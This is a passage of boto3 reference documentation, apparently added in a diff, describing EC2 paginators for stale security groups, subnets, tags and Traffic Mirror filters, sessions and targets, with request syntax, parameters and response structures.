'ProductDescription': 'Linux/UNIX'|'Linux/UNIX (Amazon VPC)'|'Windows'|'Windows (Amazon VPC)', + 'SpotPrice': 'string', + 'Timestamp': datetime(2015, 1, 1) + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + Contains the output of DescribeSpotPriceHistory. + + - **SpotPriceHistory** _(list) --_ + + The historical Spot prices. + + - _(dict) --_ + + Describes the maximum price per hour that you are willing to pay for a Spot Instance. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone. + + - **InstanceType** _(string) --_ + + The instance type. + + - **ProductDescription** _(string) --_ + + A general description of the AMI. + + - **SpotPrice** _(string) --_ + + The maximum price per hour that you are willing to pay for a Spot Instance. + + - **Timestamp** _(datetime) --_ + + The date and time the request was created, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). + + +_class_ EC2.Paginator.DescribeStaleSecurityGroups + +paginator = client.get_paginator('describe_stale_security_groups') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_stale_security_groups()](#EC2.Client.describe_stale_security_groups "EC2.Client.describe_stale_security_groups"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeStaleSecurityGroups) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + VpcId='string', + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StaleSecurityGroupSet': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'StaleIpPermissions': [ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + 'string', + ], + 'PrefixListIds': [ + 'string', + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + 'StaleIpPermissionsEgress': [ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + 'string', + ], + 'PrefixListIds': [ + 'string', + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + 'VpcId': 'string' + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **StaleSecurityGroupSet** _(list) --_ + + Information about the stale security groups. + + - _(dict) --_ + + Describes a stale security group (a security group that contains stale rules). + + - **Description** _(string) --_ + + The description of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **StaleIpPermissions** _(list) --_ + + Information about the stale inbound rules in the security group. + + - _(dict) --_ + + Describes a stale rule in a security group. + + - **FromPort** _(integer) --_ + + The start of the port range for the TCP and UDP protocols, or an ICMP type number. A value of -1 indicates all ICMP types. + + - **IpProtocol** _(string) --_ + + The IP protocol name (for tcp , udp , and icmp ) or number (see [Protocol Numbers)](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) . + + - **IpRanges** _(list) --_ + + The IP ranges. Not applicable for stale security group rules. + + - _(string) --_ + - **PrefixListIds** _(list) --_ + + The prefix list IDs. Not applicable for stale security group rules. + + - _(string) --_ + - **ToPort** _(integer) --_ + + The end of the port range for the TCP and UDP protocols, or an ICMP type number. A value of -1 indicates all ICMP types. + + - **UserIdGroupPairs** _(list) --_ + + The security group pairs. Returns the ID of the referenced security group and VPC, and the ID and status of the VPC peering connection. + + - _(dict) --_ + + Describes a security group and AWS account ID pair. + + - **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + - **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + - **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + - **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + - **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + - **StaleIpPermissionsEgress** _(list) --_ + + Information about the stale outbound rules in the security group. + + - _(dict) --_ + + Describes a stale rule in a security group. + + - **FromPort** _(integer) --_ + + The start of the port range for the TCP and UDP protocols, or an ICMP type number. A value of -1 indicates all ICMP types. + + - **IpProtocol** _(string) --_ + + The IP protocol name (for tcp , udp , and icmp ) or number (see [Protocol Numbers)](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) . + + - **IpRanges** _(list) --_ + + The IP ranges. Not applicable for stale security group rules. + + - _(string) --_ + - **PrefixListIds** _(list) --_ + + The prefix list IDs. Not applicable for stale security group rules. + + - _(string) --_ + - **ToPort** _(integer) --_ + + The end of the port range for the TCP and UDP protocols, or an ICMP type number. A value of -1 indicates all ICMP types. + + - **UserIdGroupPairs** _(list) --_ + + The security group pairs. Returns the ID of the referenced security group and VPC, and the ID and status of the VPC peering connection. + + - _(dict) --_ + + Describes a security group and AWS account ID pair. + + - **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + - **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + - **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + - **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + - **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + - **VpcId** _(string) --_ + + The ID of the VPC for the security group. + + +_class_ EC2.Paginator.DescribeSubnets + +paginator = client.get_paginator('describe_subnets') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_subnets()](#EC2.Client.describe_subnets "EC2.Client.describe_subnets"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + SubnetIds=[ + 'string', + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - availability-zone - The Availability Zone for the subnet. You can also use availabilityZone as the filter name. + - availability-zone-id - The ID of the Availability Zone for the subnet. You can also use availabilityZoneId as the filter name. + - available-ip-address-count - The number of IPv4 addresses in the subnet that are available. + - cidr-block - The IPv4 CIDR block of the subnet. The CIDR block you specify must exactly match the subnet's CIDR block for information to be returned for the subnet. You can also use cidr or cidrBlock as the filter names. + - default-for-az - Indicates whether this is the default subnet for the Availability Zone. You can also use defaultForAz as the filter name. + - ipv6-cidr-block-association.ipv6-cidr-block - An IPv6 CIDR block associated with the subnet. + - ipv6-cidr-block-association.association-id - An association ID for an IPv6 CIDR block associated with the subnet. + - ipv6-cidr-block-association.state - The state of an IPv6 CIDR block associated with the subnet. + - owner-id - The ID of the AWS account that owns the subnet. + - state - The state of the subnet (pending | available ). + - subnet-arn - The Amazon Resource Name (ARN) of the subnet. + - subnet-id - The ID of the subnet. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-id - The ID of the VPC for the subnet. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **SubnetIds** (_list_) -- + + One or more subnet IDs. + + Default: Describes all your subnets. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Subnets': [ + { + 'AvailabilityZone': 'string', + 'AvailabilityZoneId': 'string', + 'AvailableIpAddressCount': 123, + 'CidrBlock': 'string', + 'DefaultForAz': True|False, + 'MapPublicIpOnLaunch': True|False, + 'MapCustomerOwnedIpOnLaunch': True|False, + 'CustomerOwnedIpv4Pool': 'string', + 'State': 'pending'|'available', + 'SubnetId': 'string', + 'VpcId': 'string', + 'OwnerId': 'string', + 'AssignIpv6AddressOnCreation': True|False, + 'Ipv6CidrBlockAssociationSet': [ + { + 'AssociationId': 'string', + 'Ipv6CidrBlock': 'string', + 'Ipv6CidrBlockState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failing'|'failed', + 'StatusMessage': 'string' + } + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'SubnetArn': 'string', + 'OutpostArn': 'string' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **Subnets** _(list) --_ + + Information about one or more subnets. + + - _(dict) --_ + + Describes a subnet. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone of the subnet. + + - **AvailabilityZoneId** _(string) --_ + + The AZ ID of the subnet. + + - **AvailableIpAddressCount** _(integer) --_ + + The number of unused private IPv4 addresses in the subnet. The IPv4 addresses for any stopped instances are considered unavailable. + + - **CidrBlock** _(string) --_ + + The IPv4 CIDR block assigned to the subnet. + + - **DefaultForAz** _(boolean) --_ + + Indicates whether this is the default subnet for the Availability Zone. + + - **MapPublicIpOnLaunch** _(boolean) --_ + + Indicates whether instances launched in this subnet receive a public IPv4 address. + + - **MapCustomerOwnedIpOnLaunch** _(boolean) --_ + + Indicates whether a network interface created in this subnet (including a network interface created by RunInstances ) receives a customer-owned IPv4 address. + + - **CustomerOwnedIpv4Pool** _(string) --_ + + The customer-owned IPv4 address pool associated with the subnet. + + - **State** _(string) --_ + + The current state of the subnet. + + - **SubnetId** _(string) --_ + + The ID of the subnet. + + - **VpcId** _(string) --_ + + The ID of the VPC the subnet is in. + + - **OwnerId** _(string) --_ + + The ID of the AWS account that owns the subnet. + + - **AssignIpv6AddressOnCreation** _(boolean) --_ + + Indicates whether a network interface created in this subnet (including a network interface created by RunInstances ) receives an IPv6 address. + + - **Ipv6CidrBlockAssociationSet** _(list) --_ + + Information about the IPv6 CIDR blocks associated with the subnet. + + - _(dict) --_ + + Describes an IPv6 CIDR block associated with a subnet. + + - **AssociationId** _(string) --_ + + The association ID for the CIDR block. + + - **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + - **Ipv6CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + - **State** _(string) --_ + + The state of a CIDR block. + + - **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + - **Tags** _(list) --_ + + Any tags assigned to the subnet. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **SubnetArn** _(string) --_ + + The Amazon Resource Name (ARN) of the subnet. + + - **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + +_class_ EC2.Paginator.DescribeTags + +paginator = client.get_paginator('describe_tags') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_tags()](#EC2.Client.describe_tags "EC2.Client.describe_tags"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTags) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Filters** (_list_) -- + + The filters. + + - key - The tag key. + - resource-id - The ID of the resource. + - resource-type - The resource type (customer-gateway | dedicated-host | dhcp-options | elastic-ip | fleet | fpga-image | host-reservation | image | instance | internet-gateway | key-pair | launch-template | natgateway | network-acl | network-interface | placement-group | reserved-instances | route-table | security-group | snapshot | spot-instances-request | subnet | volume | vpc | vpc-endpoint | vpc-endpoint-service | vpc-peering-connection | vpn-connection | vpn-gateway ). + - tag : - The key/value combination of the tag. For example, specify "[tag:Owner](tag:Owner)" for the filter name and "TeamA" for the filter value to find resources with the tag "Owner=TeamA". + - value - The tag value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Tags': [ + { + 'Key': 'string', + 'ResourceId': 'string', + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Value': 'string' + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **Tags** _(list) --_ + + The tags. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The tag key. + + - **ResourceId** _(string) --_ + + The ID of the resource. + + - **ResourceType** _(string) --_ + + The resource type. + + - **Value** _(string) --_ + + The tag value. + + +_class_ EC2.Paginator.DescribeTrafficMirrorFilters + +paginator = client.get_paginator('describe_traffic_mirror_filters') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_traffic_mirror_filters()](#EC2.Client.describe_traffic_mirror_filters "EC2.Client.describe_traffic_mirror_filters"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTrafficMirrorFilters) + +**Request Syntax** + +response_iterator = paginator.paginate( + TrafficMirrorFilterIds=[ + 'string', + ], + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **TrafficMirrorFilterIds** (_list_) -- + + The ID of the Traffic Mirror filter. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Filters** (_list_) -- + + One or more filters. The possible values are: + + - description : The Traffic Mirror filter description. + - traffic-mirror-filter-id : The ID of the Traffic Mirror filter. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TrafficMirrorFilters': [ + { + 'TrafficMirrorFilterId': 'string', + 'IngressFilterRules': [ + { + 'TrafficMirrorFilterRuleId': 'string', + 'TrafficMirrorFilterId': 'string', + 'TrafficDirection': 'ingress'|'egress', + 'RuleNumber': 123, + 'RuleAction': 'accept'|'reject', + 'Protocol': 123, + 'DestinationPortRange': { + 'FromPort': 123, + 'ToPort': 123 + }, + 'SourcePortRange': { + 'FromPort': 123, + 'ToPort': 123 + }, + 'DestinationCidrBlock': 'string', + 'SourceCidrBlock': 'string', + 'Description': 'string' + }, + ], + 'EgressFilterRules': [ + { + 'TrafficMirrorFilterRuleId': 'string', + 'TrafficMirrorFilterId': 'string', + 'TrafficDirection': 'ingress'|'egress', + 'RuleNumber': 123, + 'RuleAction': 'accept'|'reject', + 'Protocol': 123, + 'DestinationPortRange': { + 'FromPort': 123, + 'ToPort': 123 + }, + 'SourcePortRange': { + 'FromPort': 123, + 'ToPort': 123 + }, + 'DestinationCidrBlock': 'string', + 'SourceCidrBlock': 'string', + 'Description': 'string' + }, + ], + 'NetworkServices': [ + 'amazon-dns', + ], + 'Description': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **TrafficMirrorFilters** _(list) --_ + + Information about one or more Traffic Mirror filters. + + - _(dict) --_ + + Describes the Traffic Mirror filter. + + - **TrafficMirrorFilterId** _(string) --_ + + The ID of the Traffic Mirror filter. + + - **IngressFilterRules** _(list) --_ + + Information about the ingress rules that are associated with the Traffic Mirror filter. + + - _(dict) --_ + + Describes the Traffic Mirror rule. + + - **TrafficMirrorFilterRuleId** _(string) --_ + + The ID of the Traffic Mirror rule. + + - **TrafficMirrorFilterId** _(string) --_ + + The ID of the Traffic Mirror filter that the rule is associated with. + + - **TrafficDirection** _(string) --_ + + The traffic direction assigned to the Traffic Mirror rule. + + - **RuleNumber** _(integer) --_ + + The rule number of the Traffic Mirror rule. + + - **RuleAction** _(string) --_ + + The action assigned to the Traffic Mirror rule. + + - **Protocol** _(integer) --_ + + The protocol assigned to the Traffic Mirror rule. + + - **DestinationPortRange** _(dict) --_ + + The destination port range assigned to the Traffic Mirror rule. + + - **FromPort** _(integer) --_ + + The start of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + - **ToPort** _(integer) --_ + + The end of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + - **SourcePortRange** _(dict) --_ + + The source port range assigned to the Traffic Mirror rule. + + - **FromPort** _(integer) --_ + + The start of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + - **ToPort** _(integer) --_ + + The end of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + - **DestinationCidrBlock** _(string) --_ + + The destination CIDR block assigned to the Traffic Mirror rule. + + - **SourceCidrBlock** _(string) --_ + + The source CIDR block assigned to the Traffic Mirror rule. + + - **Description** _(string) --_ + + The description of the Traffic Mirror rule. + + - **EgressFilterRules** _(list) --_ + + Information about the egress rules that are associated with the Traffic Mirror filter. + + - _(dict) --_ + + Describes the Traffic Mirror rule. + + - **TrafficMirrorFilterRuleId** _(string) --_ + + The ID of the Traffic Mirror rule. + + - **TrafficMirrorFilterId** _(string) --_ + + The ID of the Traffic Mirror filter that the rule is associated with. + + - **TrafficDirection** _(string) --_ + + The traffic direction assigned to the Traffic Mirror rule. + + - **RuleNumber** _(integer) --_ + + The rule number of the Traffic Mirror rule. + + - **RuleAction** _(string) --_ + + The action assigned to the Traffic Mirror rule. + + - **Protocol** _(integer) --_ + + The protocol assigned to the Traffic Mirror rule. + + - **DestinationPortRange** _(dict) --_ + + The destination port range assigned to the Traffic Mirror rule. + + - **FromPort** _(integer) --_ + + The start of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + - **ToPort** _(integer) --_ + + The end of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + - **SourcePortRange** _(dict) --_ + + The source port range assigned to the Traffic Mirror rule. + + - **FromPort** _(integer) --_ + + The start of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + - **ToPort** _(integer) --_ + + The end of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + - **DestinationCidrBlock** _(string) --_ + + The destination CIDR block assigned to the Traffic Mirror rule. + + - **SourceCidrBlock** _(string) --_ + + The source CIDR block assigned to the Traffic Mirror rule. + + - **Description** _(string) --_ + + The description of the Traffic Mirror rule. + + - **NetworkServices** _(list) --_ + + The network service traffic that is associated with the Traffic Mirror filter. + + - _(string) --_ + - **Description** _(string) --_ + + The description of the Traffic Mirror filter. + + - **Tags** _(list) --_ + + The tags assigned to the Traffic Mirror filter. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeTrafficMirrorSessions + +paginator = client.get_paginator('describe_traffic_mirror_sessions') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_traffic_mirror_sessions()](#EC2.Client.describe_traffic_mirror_sessions "EC2.Client.describe_traffic_mirror_sessions"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTrafficMirrorSessions) + +**Request Syntax** + +response_iterator = paginator.paginate( + TrafficMirrorSessionIds=[ + 'string', + ], + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **TrafficMirrorSessionIds** (_list_) -- + + The ID of the Traffic Mirror session. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Filters** (_list_) -- + + One or more filters. The possible values are: + + - description : The Traffic Mirror session description. + - network-interface-id : The ID of the Traffic Mirror session network interface. + - owner-id : The ID of the account that owns the Traffic Mirror session. + - packet-length : The assigned number of packets to mirror. + - session-number : The assigned session number. + - traffic-mirror-filter-id : The ID of the Traffic Mirror filter. + - traffic-mirror-session-id : The ID of the Traffic Mirror session. + - traffic-mirror-target-id : The ID of the Traffic Mirror target. + - virtual-network-id : The virtual network ID of the Traffic Mirror session. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TrafficMirrorSessions': [ + { + 'TrafficMirrorSessionId': 'string', + 'TrafficMirrorTargetId': 'string', + 'TrafficMirrorFilterId': 'string', + 'NetworkInterfaceId': 'string', + 'OwnerId': 'string', + 'PacketLength': 123, + 'SessionNumber': 123, + 'VirtualNetworkId': 123, + 'Description': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **TrafficMirrorSessions** _(list) --_ + + Describes one or more Traffic Mirror sessions. By default, all Traffic Mirror sessions are described. Alternatively, you can filter the results. + + - _(dict) --_ + + Describes a Traffic Mirror session. + + - **TrafficMirrorSessionId** _(string) --_ + + The ID for the Traffic Mirror session. + + - **TrafficMirrorTargetId** _(string) --_ + + The ID of the Traffic Mirror target. + + - **TrafficMirrorFilterId** _(string) --_ + + The ID of the Traffic Mirror filter. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the Traffic Mirror session's network interface. + + - **OwnerId** _(string) --_ + + The ID of the account that owns the Traffic Mirror session. + + - **PacketLength** _(integer) --_ + + The number of bytes in each packet to mirror. These are the bytes after the VXLAN header. To mirror a subset, set this to the length (in bytes) to mirror. For example, if you set this value to 100, then the first 100 bytes that meet the filter criteria are copied to the target. Do not specify this parameter when you want to mirror the entire packet + + - **SessionNumber** _(integer) --_ + + The session number determines the order in which sessions are evaluated when an interface is used by multiple sessions. The first session with a matching filter is the one that mirrors the packets. + + Valid values are 1-32766. + + - **VirtualNetworkId** _(integer) --_ + + The virtual network ID associated with the Traffic Mirror session. + + - **Description** _(string) --_ + + The description of the Traffic Mirror session. + + - **Tags** _(list) --_ + + The tags assigned to the Traffic Mirror session. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeTrafficMirrorTargets + +paginator = client.get_paginator('describe_traffic_mirror_targets') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_traffic_mirror_targets()](#EC2.Client.describe_traffic_mirror_targets "EC2.Client.describe_traffic_mirror_targets"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTrafficMirrorTargets) + +**Request Syntax** + +response_iterator = paginator.paginate( + TrafficMirrorTargetIds=[ + 'string', + ], + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- 